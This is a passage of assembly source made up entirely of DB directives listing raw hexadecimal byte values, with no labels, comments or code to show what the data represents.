0A9h, 022h, 04Fh, 084h, 00Fh DB 056h, 06Dh, 092h, 075h, 04Bh, 02Bh, 050h, 0D2h DB 03Bh, 09Fh, 048h, 0DBh, 028h, 053h, 093h, 01Ch DB 04Eh, 056h, 008h, 068h, 092h, 0A3h, 001h, 0B4h DB 024h, 0D4h, 03Eh, 0C2h, 0F2h, 00Dh, 042h, 00Ch DB 0F3h, 0F2h, 0F2h, 046h, 0A0h, 049h, 007h, 006h DB 075h, 0EDh, 023h, 049h, 04Ch, 039h, 08Fh, 0A6h DB 0E9h, 05Bh, 014h, 068h, 0D2h, 078h, 02Ch, 0A0h DB 0A6h, 0A3h, 025h, 034h, 02Ch, 054h, 0A5h, 0E5h DB 07Eh, 021h, 034h, 0A4h, 0C4h, 0B2h, 052h, 0A9h DB 083h, 03Ah, 0E9h, 04Bh, 081h, 0ACh, 037h, 0FAh DB 010h, 049h, 00Ah, 0A1h, 058h, 02Bh, 033h, 029h DB 059h, 0B7h, 086h, 01Bh, 0EAh, 052h, 087h, 0B4h DB 04Ch, 0E1h, 00Fh, 0AFh, 007h, 019h, 05Eh, 001h DB 022h, 007h, 0A4h, 0CFh, 051h, 05Eh, 063h, 020h DB 02Bh, 0A4h, 093h, 0A1h, 0B7h, 002h, 08Fh, 09Eh DB 052h, 057h, 0EBh, 05Bh, 030h, 03Ah, 08Dh, 02Dh DB 02Bh, 049h, 00Dh, 022h, 045h, 01Bh, 053h, 04Fh DB 053h, 08Eh, 04Dh, 0F0h, 0EFh, 086h, 0AEh, 024h DB 0F7h, 0F7h, 075h, 003h, 092h, 017h, 048h, 052h DB 0BDh, 04Fh, 034h, 048h, 09Ah, 050h, 094h, 09Bh DB 088h, 04Dh, 012h, 05Fh, 014h, 0E1h, 05Bh, 0A5h DB 009h, 05Ch, 054h, 01Ah, 050h, 054h, 008h, 07Fh DB 028h, 04Fh, 0D2h, 0A0h, 04Ah, 0A0h, 056h, 0B7h DB 0B9h, 055h, 001h, 0DEh, 013h, 0EEh, 0A4h, 026h DB 056h, 00Fh, 04Bh, 08Ah, 053h, 052h, 051h, 0DCh DB 094h, 0ABh, 045h, 04Eh, 012h, 0B6h, 02Dh, 0A1h DB 0CAh, 049h, 0A0h, 0AFh, 092h, 01Eh, 053h, 074h DB 0A1h, 08Dh, 07Bh, 027h, 0A0h, 052h, 025h, 06Dh DB 0A4h, 04Ah, 029h, 04Eh, 014h, 00Eh, 05Fh, 0B8h DB 02Eh, 09Bh, 0E3h, 0ACh, 00Fh, 0E4h, 00Ah, 09Ch DB 0E9h, 05Bh, 099h, 0C0h, 024h, 091h, 0E6h, 00Dh DB 021h, 0A2h, 0D4h, 0ADh, 010h, 022h, 0FEh, 0BBh DB 059h, 05Fh, 087h, 035h, 052h, 053h, 0B4h, 054h DB 0E6h, 001h, 0B2h, 0FFh, 036h, 0FEh, 008h, 091h DB 09Fh, 024h, 06Eh, 0A4h, 02Bh, 0B4h, 072h, 084h DB 056h, 099h, 0A1h, 0FAh, 03Bh, 056h, 040h, 036h DB 095h, 00Bh, 069h, 0E0h, 00Ch, 0A1h, 0E4h, 056h DB 0E2h, 05Dh, 0E3h, 0D2h, 04Ch, 0A1h, 0E5h, 05Eh DB 05Ah, 06Ch, 016h, 096h, 05Bh, 092h, 0A1h, 099h DB 08Dh, 0A4h, 09Fh, 0D6h, 0A6h, 09Bh, 06Ah, 09Fh DB 068h, 05Bh, 058h, 008h, 0A4h, 0A4h, 0CCh, 098h DB 05Ch, 049h, 053h, 0A1h, 049h, 0A0h, 0AEh, 021h DB 054h, 02Bh, 0DCh, 049h, 0A9h, 03Ah, 03Fh, 0A0h DB 0A5h, 0E4h, 0B4h, 094h, 06Ah, 04Bh, 089h, 031h DB 009h, 00Ah, 024h, 06Bh, 04Fh, 0CDh, 0DAh, 028h DB 0BBh, 031h, 0EFh, 01Fh, 052h, 04Eh, 0C6h, 0E5h DB 08Ah, 0A5h, 01Ah, 08Fh, 062h, 0EAh, 0A6h, 025h DB 056h, 0A7h, 0E3h, 022h, 0C6h, 02Ah, 05Fh, 0B3h DB 0A2h, 0EAh, 09Bh, 0B3h, 071h, 0C8h, 054h, 04Ah DB 049h, 008h, 091h, 081h, 014h, 04Fh, 0C6h, 0DCh DB 054h, 04Bh, 010h, 09Eh, 0E6h, 0D0h, 0A8h, 010h DB 0D5h, 066h, 059h, 0DBh, 041h, 038h, 022h, 05Bh DB 0A4h, 05Ch, 0A0h, 065h, 0FFh, 03Eh, 001h, 055h DB 0C2h, 026h, 09Fh, 048h, 0A0h, 094h, 039h, 03Eh DB 04Dh, 055h, 0CFh, 0C5h, 05Ch, 022h, 07Bh, 048h DB 0A1h, 053h, 034h, 0E3h, 0A4h, 063h, 0C3h, 068h DB 05Eh, 09Dh, 08Fh, 039h, 012h, 0A1h, 04Dh, 011h DB 039h, 048h, 0F6h, 0B6h, 048h, 04Dh, 055h, 057h DB 02Eh, 053h, 05Ah, 076h, 091h, 0A0h, 0D2h, 065h DB 0F0h, 010h, 054h, 0AEh, 048h, 0A0h, 0BBh, 053h DB 08Ch, 04Ah, 012h, 07Eh, 02Dh, 0A0h, 0CAh, 035h DB 0ACh, 00Bh, 065h, 056h, 022h, 0D8h, 05Bh, 0CCh DB 01Dh, 0B0h, 0D9h, 092h, 047h, 0A2h, 00Fh, 04Ch DB 0A1h, 091h, 07Bh, 029h, 025h, 008h, 00Eh, 0EFh DB 0C9h, 0B2h, 0C6h, 049h, 0C6h, 05Fh, 0A6h, 0C7h DB 0D6h, 02Dh, 02Bh, 0D6h, 013h, 00Fh, 0CAh, 04Ah DB 045h, 0E9h, 03Dh, 049h, 0A1h, 09Ch, 054h, 04Bh DB 010h, 0D7h, 054h, 071h, 087h, 09Ah, 066h, 0BAh DB 059h, 063h, 009h, 034h, 087h, 05Ch, 003h, 09Fh DB 0A0h, 023h, 0F6h, 04Bh, 02Eh, 00Dh, 02Bh, 09Eh DB 0B2h, 0ACh, 0EAh, 06Bh, 0A2h, 039h, 04Dh, 00Eh DB 029h, 009h, 0A0h, 015h, 0A1h, 02Ch, 078h, 0D3h DB 052h, 06Ah, 0A4h, 048h, 0A0h, 089h, 05Dh, 036h DB 0A1h, 0CEh, 030h, 0AFh, 03Fh, 069h, 001h, 0BDh DB 032h, 0A6h, 03Ah, 00Eh, 0EAh, 0AAh, 04Dh, 0A0h DB 0F4h, 0C5h, 0A3h, 04Eh, 057h, 061h, 04Ah, 0A6h DB 05Fh, 045h, 001h, 009h, 0C6h, 04Eh, 0EFh, 070h DB 049h, 032h, 09Fh, 064h, 0D8h, 090h, 0A0h, 091h DB 0A1h, 0E9h, 02Ah, 00Eh, 0D6h, 024h, 048h, 0C9h DB 06Ah, 02Bh, 0CCh, 01Dh, 099h, 0FDh, 0A9h, 025h DB 091h, 04Fh, 06Bh, 04Ch, 009h, 039h, 02Eh, 0A0h DB 032h, 08Dh, 0CDh, 057h, 026h, 024h, 04Bh, 08Ah DB 0E9h, 010h, 052h, 04Eh, 0DCh, 094h, 04Ch, 010h DB 0D2h, 065h, 0A1h, 039h, 059h, 0BFh, 041h, 01Ch DB 05Ch, 09Ch, 052h, 05Dh, 06Dh, 0A0h, 077h, 0E0h DB 0DAh, 054h, 046h, 09Fh, 0E3h, 04Ch, 092h, 05Fh DB 08Ch, 0DAh, 0D9h, 072h, 045h, 0A1h, 04Ah, 038h DB 0D2h, 0A5h, 093h, 053h, 0C9h, 0E1h, 025h, 0A1h DB 0DAh, 047h, 063h, 024h, 09Fh, 017h, 0A6h, 09Bh DB 069h, 05Eh, 06Fh, 02Ah, 048h, 018h, 089h, 04Bh DB 0E0h, 088h, 057h, 09Fh, 0A4h, 001h, 048h, 0EFh DB 0A0h, 0AFh, 0CAh, 056h, 08Ch, 053h, 0CCh, 075h DB 0E7h, 0EAh, 0B2h, 049h, 092h, 03Ah, 089h, 08Ah DB 01Ah, 0A0h, 06Eh, 079h, 0E7h, 0D2h, 04Ch, 047h DB 0A0h, 00Fh, 052h, 00Eh, 091h, 07Bh, 04Eh, 077h DB 035h, 0F6h, 064h, 025h, 0DDh, 0D4h, 049h, 0FCh DB 022h, 035h, 0DAh, 04Dh, 046h, 090h, 091h, 081h DB 0EAh, 092h, 0A9h, 010h, 0A4h, 0A1h, 03Fh, 0D6h DB 059h, 092h, 0D4h, 084h, 084h, 066h, 09Eh, 0A0h DB 00Ah, 0F6h, 0AFh, 09Fh, 001h, 0E4h, 05Fh, 023h DB 05Eh, 08Dh, 099h, 0D1h, 065h, 0D2h, 0E7h, 0FDh DB 037h, 039h, 0B8h, 049h, 01Ah, 07Bh, 0C2h, 01Bh DB 047h, 0C8h, 033h, 05Bh, 0A7h, 0BDh, 08Fh, 041h DB 05Ch, 0E1h, 0CEh, 0A5h, 05Dh, 024h, 0A0h, 079h DB 0F7h, 0FAh, 04Ah, 0B5h, 056h, 0CCh, 0E7h, 001h DB 019h, 071h, 0BAh, 054h, 094h, 0D2h, 049h, 039h DB 047h, 09Fh, 023h, 0A0h, 0C8h, 04Dh, 055h, 0E4h DB 0F7h, 012h, 0B6h, 0F1h, 059h, 03Eh, 057h, 039h DB 0B6h, 075h, 092h, 057h, 09Bh, 079h, 0ADh, 02Fh DB 024h, 092h, 076h, 034h, 08Ch, 093h, 0A1h, 024h DB 068h, 0BCh, 079h, 091h, 07Ch, 02Bh, 016h, 0A4h DB 0A1h, 04Eh, 032h, 074h, 0A0h, 09Dh, 035h, 025h DB 07Eh, 070h, 0ADh, 054h, 0F1h, 022h, 0E9h, 0D2h DB 0D4h, 003h, 085h, 048h, 095h, 0D2h, 033h, 010h DB 053h, 0FDh, 06Dh, 059h, 044h, 09Dh, 0CDh, 0E3h DB 023h, 0A0h, 0D3h, 025h, 056h, 06Dh, 001h, 031h DB 0E5h, 0C4h, 04Dh, 04Ch, 099h, 01Ch, 0B5h, 0D8h DB 064h, 039h, 0F0h, 025h, 05Dh, 091h, 07Bh, 0A4h DB 0A0h, 071h, 0F7h, 0C7h, 0E1h, 05Fh, 057h, 0FFh DB 095h, 064h, 010h, 0B0h, 082h, 04Dh, 091h, 0A0h DB 053h, 013h, 0BAh, 0F7h, 05Dh, 036h, 07Ch, 002h DB 09Dh, 027h, 0B4h, 001h, 019h, 0D1h, 0AAh, 054h DB 09Ch, 073h, 0A5h, 0E9h, 0DBh, 056h, 004h, 08Ah DB 0A0h, 0FCh, 04Dh, 08Eh, 096h, 078h, 0C9h, 0D9h DB 031h, 028h, 086h, 091h, 0A0h, 05Ch, 090h, 07Bh DB 029h, 04Dh, 056h, 0D9h, 047h, 05Bh, 0AAh, 0DAh DB 0A4h, 034h, 0E9h, 032h, 0A1h, 06Ah, 0F9h, 042h DB 07Ah, 072h, 0CAh, 099h, 0FDh, 024h, 0A1h, 07Ah DB 094h, 0FCh, 091h, 035h, 06Bh, 009h, 00Eh, 094h DB 022h, 093h, 081h, 034h, 047h, 0E1h, 012h, 058h DB 023h, 054h, 0FFh, 05Bh, 059h, 04Eh, 037h, 0C4h DB 049h, 01Eh, 0A0h, 0ABh, 0B6h, 074h, 01Eh, 09Dh DB 01Eh, 0EAh, 096h, 0FFh, 024h, 09Fh, 0A6h, 01Ch DB 04Ah, 06Ch, 06Bh, 046h, 09Dh, 049h, 05Eh, 0A0h DB 0B1h, 0F6h, 008h, 009h, 021h, 0A1h, 0C7h, 0A5h DB 0CEh, 0E1h, 024h, 055h, 0A0h, 05Ch, 042h, 0A4h DB 04Fh, 0D9h, 0E7h, 025h, 016h, 03Fh, 02Ah, 0EAh DB 096h, 0A5h, 05Eh, 06Ch, 02Bh, 069h, 003h, 01Dh DB 0A0h, 071h, 0A4h, 009h, 06Ah, 065h, 071h, 08Eh DB 079h, 0F5h, 0B2h, 09Dh, 04Ch, 088h, 052h, 0FBh DB 0D2h, 0C9h, 05Dh, 054h, 0D6h, 087h, 07Ah, 019h DB 01Ch, 0A0h, 0D2h, 02Dh, 055h, 0A1h, 026h, 021h DB 09Fh, 06Eh, 03Ah, 084h, 042h, 010h, 0EBh, 0AEh DB 0BAh, 057h, 0B2h, 013h, 0CBh, 032h, 06Eh, 046h DB 048h, 095h, 033h, 0CAh, 054h, 059h, 0DBh, 08Dh DB 0A6h, 064h, 069h, 0ADh, 09Ch, 056h, 0FDh, 06Ah DB 07Dh, 02Ah, 078h, 086h, 0D3h, 012h, 041h, 016h DB 0A0h, 09Dh, 09Dh, 022h, 0A0h, 0E5h, 01Ch, 0B6h DB 064h, 0A0h, 01Ch, 09Fh, 06Ch, 042h, 027h, 01Ch DB 0C8h, 091h, 0A0h, 079h, 054h, 00Dh, 06Fh, 022h DB 0B7h, 00Ah, 0D4h, 020h, 05Dh, 0ADh, 064h, 0B7h DB 048h, 05Dh, 0A0h, 0BBh, 09Ch, 063h, 0C5h, 05Ch DB 0BDh, 0B2h, 04Fh, 03Eh, 059h, 097h, 082h, 0E2h DB 09Bh, 041h, 047h, 09Eh, 0FAh, 014h, 0BAh, 02Ah DB 093h, 0A0h, 03Ch, 072h, 0E9h, 00Eh, 06Fh, 02Dh DB 0D5h, 026h, 02Dh, 09Fh, 09Ch, 0D2h, 091h, 010h DB 0ACh, 030h, 0ABh, 013h, 099h, 05Bh, 047h, 05Eh DB 04Bh, 010h, 057h, 059h, 089h, 052h, 024h, 0B0h DB 0A6h, 09Bh, 0A0h, 021h, 0A4h, 016h, 05Dh, 0F3h DB 06Bh, 0D7h, 0A6h, 078h, 051h, 0DAh, 022h, 023h DB 0D2h, 06Eh, 0A0h, 023h, 09Eh, 0F1h, 0F7h, 00Bh DB 04Fh, 012h, 0EDh, 02Eh, 05Fh, 0D7h, 0B5h, 062h DB 06Ch, 062h, 048h, 0A0h, 0EBh, 0C8h, 0F7h, 0CCh DB 093h, 04Ah, 0B4h, 0F9h, 07Dh, 0B4h, 074h, 09Bh DB 0A0h, 075h, 043h, 0F6h, 0A5h, 012h, 026h, 069h DB 0A0h, 063h, 00Eh, 069h, 084h, 034h, 0A0h, 0D2h DB 026h, 067h, 0E9h, 015h, 056h, 06Ah, 059h, 024h DB 05Bh, 0A0h, 07Eh, 071h, 05Ch, 0BFh, 01Eh, 0A3h DB 0AAh, 0A1h, 04Dh, 0A0h, 088h, 0F7h, 0A4h, 0CEh DB 031h, 0EBh, 020h, 052h, 042h, 049h, 0EDh, 0A4h DB 04Ch, 0A0h, 008h, 05Bh, 09Ch, 07Fh, 0C4h, 049h DB 06Ah, 0DCh, 063h, 06Dh, 020h, 025h, 0A0h, 0C6h DB 015h, 04Ch, 020h, 05Bh, 090h, 089h, 048h, 05Eh DB 034h, 03Bh, 09Dh, 049h, 090h, 0F6h, 048h, 053h DB 05Fh, 059h, 0F5h, 089h, 060h, 026h, 0A0h, 0C8h DB 0F7h, 0E9h, 0E2h, 08Dh, 08Ah, 0B9h, 001h, 05Ah DB 045h, 0A0h, 05Bh, 048h, 0D9h, 0A0h, 0EFh, 092h DB 009h, 01Fh, 09Bh, 017h, 0A0h, 0F1h, 057h, 00Ah DB 0A8h, 007h, 085h, 0D9h, 007h, 01Ch, 0A7h, 087h DB 010h, 04Eh, 023h, 0A6h, 0D1h, 007h, 00Fh, 088h DB 0A5h, 07Ch, 042h, 052h, 0ADh, 0CAh, 015h, 008h DB 0A7h, 09Fh, 077h, 06Eh, 02Eh, 05Ch, 030h, 0FAh DB 0C8h, 053h, 05Dh, 044h, 09Dh, 02Bh, 088h, 056h DB 06Eh, 090h, 0ABh, 088h, 05Ch, 090h, 052h, 0EFh DB 0D2h, 064h, 014h, 08Fh, 0A0h, 0A4h, 0EDh, 083h DB 048h, 0A0h, 0FBh, 088h, 052h, 05Dh, 04Eh, 036h DB 02Fh, 040h, 0DDh, 021h, 057h, 010h, 054h, 048h DB 096h, 0D6h, 0E3h, 095h, 049h, 0A1h, 092h, 07Ah DB 0A0h, 0DDh, 061h, 0D9h, 049h, 0C7h, 084h, 02Ah DB 0A9h, 0EEh, 01Fh, 0DCh, 09Ah, 0E2h, 09Dh, 0C5h DB 0C6h, 0A4h, 0A0h, 0F4h, 0F1h, 01Eh, 021h, 09Eh DB 07Ch, 0D2h, 0B9h, 03Eh, 0A0h, 0C8h, 054h, 07Fh DB 044h, 04Ah, 03Eh, 0A9h, 032h, 0E2h, 0DCh, 0A4h DB 0A2h, 07Ah, 045h, 0A0h, 0D0h, 057h, 09Fh, 087h DB 052h, 0DEh, 01Dh, 075h, 02Dh, 045h, 028h, 024h DB 0A0h, 077h, 0CAh, 048h, 055h, 0A4h, 0A0h, 05Dh DB 051h, 04Dh, 037h, 0E2h, 0D2h, 03Eh, 0A0h, 088h DB 09Eh, 075h, 034h, 0B9h, 08Ah, 0A0h, 0BAh, 07Dh DB 087h, 0F7h, 02Eh, 081h, 0ADh, 04Dh, 0C1h, 0A4h DB 0A0h, 0FDh, 0EAh, 07Dh, 0FAh, 045h, 0A0h, 057h DB 06Eh, 010h, 0BAh, 0FFh, 0B2h, 09Fh, 01Fh, 03Ch DB 043h, 0FBh, 0F2h, 054h, 03Eh, 021h, 05Fh, 0A7h DB 07Bh, 09Ch, 02Bh, 021h, 09Fh, 0D5h, 0EEh, 090h DB 0BCh, 04Ah, 087h, 0D5h, 027h, 07Ah, 025h, 093h DB 0A0h, 071h, 055h, 06Fh, 031h, 060h, 0A5h, 09Dh DB 0DFh, 0C4h, 06Ch, 05Fh, 091h, 0A0h, 0FDh, 04Dh DB 0BFh, 026h, 0A0h, 0BEh, 088h, 056h, 0D4h, 043h DB 0A7h, 0EFh, 09Ch, 063h, 05Fh, 044h, 008h, 032h DB 055h, 01Fh, 0DEh, 0F1h, 07Eh, 079h, 0A0h, 06Ah DB 052h, 07Eh, 03Bh, 0A0h, 0F8h, 05Bh, 08Dh, 0CDh DB 01Eh, 075h, 0E0h, 0F2h, 04Dh, 0A0h, 0D5h, 016h DB 04Ah, 03Eh, 040h, 0E8h, 0F6h, 097h, 0C5h, 0C1h DB 027h, 05Ah, 04Bh, 090h, 047h, 071h, 0F6h, 0A4h DB 049h, 0FEh, 04Eh, 09Fh, 049h, 0AFh, 09Ch, 0E3h DB 09Fh, 059h, 036h, 0A0h, 0FFh, 00Fh, 0EEh, 072h DB 071h, 04Ah, 043h, 00Ah, 0BBh, 0D9h, 071h, 055h DB 023h, 0A0h, 09Dh, 0D0h, 007h, 06Fh, 003h, 0FDh DB 0FCh, 0DDh, 0DFh, 0C2h, 09Ch, 00Fh, 04Eh, 02Dh DB 002h, 026h, 0A0h, 09Dh, 090h, 008h, 09Ch, 060h DB 038h, 09Fh, 0F6h, 0C3h, 0BAh, 0C8h, 007h, 0CCh DB 003h, 04Bh, 048h, 00Ah, 0A0h, 0EEh, 0E2h, 04Ah DB 00Bh, 07Ch, 04Fh, 042h, 05Fh, 0F6h, 04Eh, 06Bh DB 0F1h, 03Fh, 0D0h, 0CBh, 09Fh, 0F7h, 008h, 0FFh DB 077h, 0DFh, 010h, 056h, 00Eh, 09Ch, 06Dh, 059h DB 091h, 024h, 011h, 02Dh, 0FBh, 059h, 085h, 007h DB 09Dh, 057h, 013h, 001h, 0FCh, 0F3h, 048h, 0A0h DB 0EEh, 0F4h, 0FEh, 065h, 0E0h, 0EEh, 024h, 0EFh DB 08Eh, 0A0h, 0BBh, 049h, 09Fh, 09Ch, 062h, 0B0h DB 030h, 090h, 091h, 0B7h, 045h, 0D4h, 09Ah, 0F7h DB 01Dh, 0F1h, 05Eh, 04Bh, 05Eh, 068h, 04Bh, 07Ch DB 072h, 04Eh, 02Ah, 09Eh, 025h, 059h, 0A4h, 0A8h DB 002h, 027h, 097h, 065h, 020h, 0F6h, 091h, 0A0h DB 0F7h, 0BBh, 021h, 008h, 03Fh, 0DAh, 0B2h, 094h DB 0ADh, 022h, 0A0h, 0BEh, 08Bh, 04Ah, 076h, 0E7h DB 06Ah, 0DDh, 024h, 06Bh, 0ADh, 0D1h, 0ADh, 0EBh DB 03Ah, 027h, 0E0h, 0DFh, 05Eh, 04Fh, 09Eh, 01Eh DB 04Eh, 052h, 065h, 09Fh, 029h, 025h, 07Ah, 096h DB 0FCh, 002h, 0D2h, 04Fh, 02Fh, 0A0h, 0F8h, 09Eh DB 089h, 0A7h, 01Dh, 065h, 0F4h, 06Ah, 089h, 0DBh DB 02Ah, 0B1h, 074h, 022h, 0A1h, 0FDh, 022h, 0A0h DB 0AAh, 09Ah, 06Eh, 047h, 09Fh, 04Ah, 001h, 058h DB 008h, 0A6h, 048h, 057h, 09Fh, 09Ch, 061h, 05Ah DB 0B6h, 001h, 091h, 0A0h, 077h, 06Ah, 090h, 037h DB 024h, 03Eh, 0B4h, 080h, 025h, 008h, 03Bh, 094h DB 0CEh, 04Fh, 0E3h, 02Ah, 0A2h, 083h, 049h, 0A1h DB 04Ah, 0FCh, 009h, 0AFh, 049h, 0A0h, 0FFh, 089h DB 049h, 01Ch, 09Fh, 093h, 079h, 052h, 0D0h, 0CDh DB 05Eh, 056h, 0F2h, 029h, 089h, 0A7h, 035h, 09Eh DB 024h, 0A0h, 05Dh, 079h, 007h, 009h, 022h, 09Eh DB 06Bh, 0FEh, 034h, 0F4h, 0F9h, 02Ah, 0A3h, 084h DB 024h, 053h, 0A1h, 05Fh, 0A4h, 0A0h, 0FFh, 06Ah DB 07Ch, 065h, 055h, 0FAh, 02Ah, 0C9h, 07Eh, 0FFh DB 026h, 078h, 0CAh, 04Eh, 0FAh, 06Bh, 0CAh, 04Bh DB 0B6h, 026h, 0E5h, 022h, 0A0h, 0FEh, 0C8h, 05Dh DB 0ADh, 08Eh, 061h, 07Eh, 0A6h, 07Ch, 0D2h, 055h DB 04Eh, 0BEh, 023h, 053h, 00Eh, 012h, 049h, 02Fh DB 0A0h, 0B9h, 07Eh, 0CEh, 0B3h, 049h, 09Fh, 0F3h DB 008h, 08Dh, 029h, 00Ch, 042h, 0E8h, 09Bh, 064h DB 089h, 0E3h, 022h, 09Fh, 0E6h, 04Ch, 091h, 0A0h DB 0D5h, 069h, 019h, 09Fh, 008h, 02Ah, 0B2h, 012h DB 0A4h, 088h, 0A2h, 054h, 095h, 05Bh, 074h, 013h DB 049h, 0CBh, 020h, 0FBh, 05Bh, 0B0h, 0E1h, 04Ch DB 0BDh, 0CCh, 0C3h, 048h, 057h, 079h, 0B1h, 007h DB 04Fh, 0C6h, 0F5h, 094h, 08Ah, 0B7h, 06Ah, 026h DB 04Ah, 00Eh, 04Ah, 076h, 091h, 001h, 0EFh, 05Ch DB 026h, 0AEh, 050h, 05Fh, 001h, 0AFh, 095h, 097h DB 0A0h, 07Ch, 097h, 093h, 0E0h, 08Fh, 0F5h, 0AFh DB 08Eh, 0F4h, 0DAh, 03Ch, 0DEh, 06Bh, 05Fh, 025h DB 045h, 000h, 055h, 0A4h, 0A0h, 0B8h, 0DEh, 0E2h DB 0C3h, 071h, 091h, 0A0h, 06Bh, 0D6h, 08Bh, 0C9h DB 01Eh, 079h, 0CEh, 03Ah, 05Dh, 074h, 001h, 097h DB 0ACh, 0EAh, 0E3h, 0A6h, 072h, 04Dh, 0E8h, 0A7h DB 091h, 0A0h, 07Fh, 062h, 0A7h, 0EFh, 08Bh, 001h DB 065h, 098h, 09Ah, 0EEh, 026h, 0FDh, 09Ah, 0D9h DB 082h, 0CAh, 055h, 04Dh, 059h, 082h, 02Ch, 040h DB 05Fh, 0FAh, 0DFh, 089h, 082h, 029h, 0A1h, 050h DB 0B4h, 09Fh, 016h, 080h, 0BDh, 0E4h, 02Bh, 04Fh DB 09Fh, 08Bh, 080h, 010h, 0A4h, 09Bh, 0DBh, 042h DB 0AAh, 05Eh, 074h, 0E0h, 073h, 04Eh, 04Ch, 08Bh DB 0E0h, 0FBh, 05Ch, 0E0h, 0CFh, 056h, 0F5h, 001h DB 05Eh, 02Ch, 060h, 0A6h, 095h, 051h, 0BEh, 0C9h DB 077h, 0A9h, 0E7h, 079h, 040h, 0D5h, 0CBh, 0D6h DB 022h, 025h, 0E2h, 0F1h, 0D6h, 0C0h, 0DCh, 0BDh DB 04Ch, 0A0h, 0BFh, 0C3h, 0C9h, 094h, 0F8h, 080h DB 0EEh, 0E4h, 08Dh, 0A0h, 028h, 096h, 092h, 0A3h DB 000h, 092h, 0AAh, 074h, 0C0h, 0EAh, 08Eh, 077h DB 0A4h, 08Ah, 0A0h, 0BAh, 06Bh, 06Fh, 0DBh, 000h DB 0D2h, 0F7h, 03Ah, 040h, 042h, 011h, 047h, 0A0h DB 0D5h, 036h, 04Ah, 003h, 09Dh, 01Eh, 0E0h, 021h DB 0F7h, 09Dh, 049h, 0D7h, 097h, 0B7h, 0CBh, 051h DB 020h, 057h, 0EBh, 0F3h, 0A0h, 0D9h, 04Dh, 00Eh DB 0D6h, 0B3h, 0C0h, 0EAh, 0D2h, 0AAh, 02Dh, 0C0h DB 03Bh, 0E2h, 0F7h, 0FDh, 02Ah, 08Eh, 040h, 0BBh DB 049h, 0A0h, 0BAh, 0A4h, 0FAh, 089h, 0E6h, 025h DB 09Eh, 026h, 0A0h, 0FFh, 092h, 0A8h, 040h, 0FFh DB 0A5h, 0ECh, 000h, 049h, 0A0h, 0AFh, 0E3h, 09Dh DB 08Ch, 0ABh, 03Fh, 0E0h, 0EEh, 022h, 053h, 049h DB 04Eh, 0A0h, 0BBh, 0ECh, 09Fh, 085h, 0D9h, 09Fh DB 00Fh, 0FAh, 09Fh, 021h, 0F2h, 07Dh, 09Fh, 040h DB 05Eh, 095h, 051h, 0C0h, 0DAh, 047h, 0A0h, 07Fh DB 0ADh, 051h, 080h, 074h, 0E6h, 05Dh, 093h, 0A0h DB 05Dh, 064h, 049h, 06Eh, 0E9h, 06Bh, 08Fh, 020h DB 0BBh, 04Fh, 0B6h, 040h, 0AEh, 092h, 07Bh, 0A0h DB 0FCh, 049h, 08Dh, 05Dh, 0EBh, 0DCh, 040h, 077h DB 0FDh, 0C4h, 04Eh, 08Eh, 0A0h, 0AFh, 088h, 053h DB 0F7h, 0D1h, 09Fh, 00Fh, 0BBh, 04Bh, 0E8h, 020h DB 0FBh, 088h, 049h, 057h, 0DBh, 0E2h, 0A7h, 045h DB 0A0h, 05Fh, 039h, 042h, 0ABh, 089h, 04Eh, 07Dh DB 095h, 0C0h, 074h, 048h, 09Fh, 0A0h, 0BBh, 0A7h DB 018h, 07Dh, 01Ch, 05Bh, 061h, 0DFh, 027h, 05Ch DB 0A0h, 0F7h, 092h, 05Fh, 0AAh, 06Eh, 0C0h, 0C8h DB 09Eh, 039h, 043h, 089h, 007h, 0D7h, 032h, 034h DB 047h, 0A0h, 0DEh, 04Bh, 04Fh, 0FDh, 060h, 0BBh DB 048h, 0A0h, 0FFh, 021h, 05Ch, 0F7h, 0B8h, 0C2h DB 0EDh, 02Ah, 0A2h, 0C0h, 0E8h, 09Ch, 085h, 05Ah DB 04Ch, 0A0h, 047h, 05Fh, 0B7h, 0E8h, 057h, 0E4h DB 0A5h, 02Bh, 04Ch, 055h, 04Eh, 0FCh, 080h, 0BBh DB 04Eh, 0E8h, 040h, 0ABh, 0E4h, 0EFh, 08Dh, 0CAh DB 075h, 0E1h, 07Eh, 02Bh, 0A0h, 0F3h, 09Ch, 0A2h DB 055h, 03Dh, 092h, 056h, 067h, 0A0h, 068h, 056h DB 0F5h, 00Eh, 0E9h, 0A4h, 0D7h, 0A0h, 079h, 007h DB 03Bh, 0F6h, 080h, 0E7h, 089h, 0FDh, 03Fh, 060h DB 064h, 09Bh, 022h, 056h, 047h, 0A0h, 0D6h, 0E2h DB 04Ah, 042h, 00Ah, 0AAh, 021h, 055h, 0FCh, 0EFh DB 026h, 090h, 08Eh, 09Fh, 05Fh, 0F9h, 0CFh, 0E1h DB 062h, 026h, 0A0h, 09Eh, 03Fh, 0C7h, 0FEh, 013h DB 05Ch, 05Bh, 0FFh, 06Ah, 0A0h, 0CBh, 056h, 055h DB 09Dh, 040h, 07Ah, 04Ah, 0A0h, 0D5h, 0C5h, 0E0h DB 0F2h, 057h, 097h, 080h, 049h, 017h, 0A0h, 04Eh DB 030h, 0E5h, 0FBh, 028h, 0C9h, 0A6h, 0F3h, 06Fh DB 0DDh, 04Ch, 0A4h, 021h, 0AFh, 05Ah, 047h, 0A0h DB 07Ch, 0E3h, 0EAh, 015h, 0EBh, 0F7h, 09Ah, 008h DB 045h, 0A0h, 0DAh, 0D5h, 0CAh, 0E0h, 042h, 09Fh DB 04Ah, 0A0h, 0D7h, 047h, 080h, 05Eh, 09Dh, 046h DB 0ECh, 0B5h, 0F1h, 020h, 05Ch, 091h, 0A0h, 071h DB 09Fh, 017h, 0ABh, 034h, 040h, 091h, 0A0h, 025h DB 05Bh, 0E0h, 0D9h, 09Bh, 023h, 0A0h, 03Ah, 05Eh DB 0C5h, 03Fh, 0DCh, 0E6h, 0A4h, 0C5h, 01Bh, 05Fh DB 0A6h, 0EEh, 054h, 064h, 010h, 0B2h, 0EEh, 0C7h DB 040h, 010h, 05Ch, 05Bh, 0B3h, 0BBh, 069h, 066h DB 03Fh, 0A0h, 010h, 053h, 0C8h, 05Fh, 054h, 05Ah DB 057h, 0ADh, 040h, 0E7h, 025h, 057h, 0BEh, 065h DB 0ECh, 0FBh, 07Fh, 080h, 078h, 071h, 04Bh, 0BFh DB 059h, 09Fh, 07Ch, 0B5h, 0F3h, 020h, 010h, 056h DB 0BFh, 0DDh, 051h, 008h, 05Ah, 0FCh, 00Ah, 093h DB 0E8h, 02Ah, 024h, 00Bh, 0A0h, 057h, 038h, 0CAh DB 0A8h, 0C0h, 0E2h, 0F7h, 032h, 0F7h, 009h, 01Ch DB 01Ch, 0A0h, 0E7h, 00Bh, 09Fh, 0A1h, 091h, 09Fh DB 0E7h, 02Ch, 073h, 0AEh, 091h, 090h, 